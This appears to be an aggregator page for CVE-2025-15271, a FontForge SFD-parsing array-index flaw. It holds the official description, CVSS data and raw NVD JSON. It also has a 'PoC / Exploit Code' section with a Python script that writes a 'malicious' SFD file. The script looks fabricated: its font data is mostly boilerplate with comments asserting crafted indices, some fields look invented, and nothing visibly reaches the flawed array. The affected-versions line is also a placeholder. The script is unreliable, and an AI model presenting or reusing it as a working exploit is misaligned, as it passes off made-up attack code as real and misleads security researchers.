Security Vulnerability Report
中文
CVE-2025-15271 CVSS 8.8 HIGH

CVE-2025-15271

Published: 2025-12-31 07:15:51
Last Modified: 2026-01-07 16:10:37

Description

FontForge SFD File Parsing Improper Validation of Array Index Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of FontForge. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of SFD files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated array. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-28562.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fontforge:fontforge:2025-11-17:*:*:*:*:*:*:* - VULNERABLE
FontForge < 最新修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
''' CVE-2025-15271 PoC - Malicious SFD File Generator FontForge SFD File Parsing Array Index Validation Issue RCE ''' import struct def create_malicious_sfd(): """ Generate a malicious SFD file that exploits the array index validation vulnerability in FontForge's SFD parser. """ sfd_content = """SplineFontDB: 3.0 FontName: MaliciousFont FullName: Malicious Font FamilyName: Malicious Family Weight: Regular Copyright: Copyright (c) 2025 UComments: "Exploit test for CVE-2025-15271" ItalicAngle: 0.0 UnderlinePosition: -100 UnderlineWidth: 50 Ascent: 800 Descent: 200 InvalidEm: 0 Encoding: iso10646-1 UnicodeInterp: none NameRegistry: FontSize: 0 UniqueID: 7 0 0 VFontName: BeginChars: 256 1 BeginChar: space 1 WIDTH: 500 HEIGHT: 700 # Malicious spline data with crafted array indices # This exploits improper array index validation BeginSplineSet 72.5 550.5 m 1 72.5 550.5 l 17 72.5 550.5 l 17 72.5 550.5 l 17 EndSplineSet Width: 500 EndChar BeginLayer: 0 0 1 0 "Back" E EndLayer EndChars BeginLookup: 1 1 0 0 0 0 "test" Subtable: 1 1 0 0 0 0 "test_sub" EndSubtable EndLookup BeginData: 5 1 100 LIGATURECARE: 999999 EndData """ # Write the malicious SFD file with open('CVE-2025-15271_poc.sfd', 'w') as f: f.write(sfd_content) print('[+] Generated malicious SFD file: CVE-2025-15271_poc.sfd') print('[+] This file exploits array index validation issue in FontForge') print('[+] Target must open this file with vulnerable FontForge version') if __name__ == '__main__': create_malicious_sfd() print('\n[!] DISCLAIMER: For educational and security research purposes only')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15271", "sourceIdentifier": "[email protected]", "published": "2025-12-31T07:15:51.063", "lastModified": "2026-01-07T16:10:37.393", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FontForge SFD File Parsing Improper Validation of Array Index Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of FontForge. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of SFD files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated array. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-28562."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por validación incorrecta del índice de la matriz en el análisis de archivos SFD de FontForge. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de FontForge. Se requiere interacción del usuario para explotar esta vulnerabilidad, ya que el objetivo debe visitar una página maliciosa o abrir un archivo malicioso.\n\nLa falla específica existe dentro del análisis de archivos SFD. El problema resulta de la falta de validación adecuada de los datos proporcionados por el usuario, lo que puede resultar en una escritura más allá del final de una matriz asignada. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del usuario actual. Fue ZDI-CAN-28562."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-129"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fontforge:fontforge:2025-11-17:*:*:*:*:*:*:*", "matchCriteriaId": "F1A9337A-AD25-4C56-964A-CCD44CEF611F"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1193/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}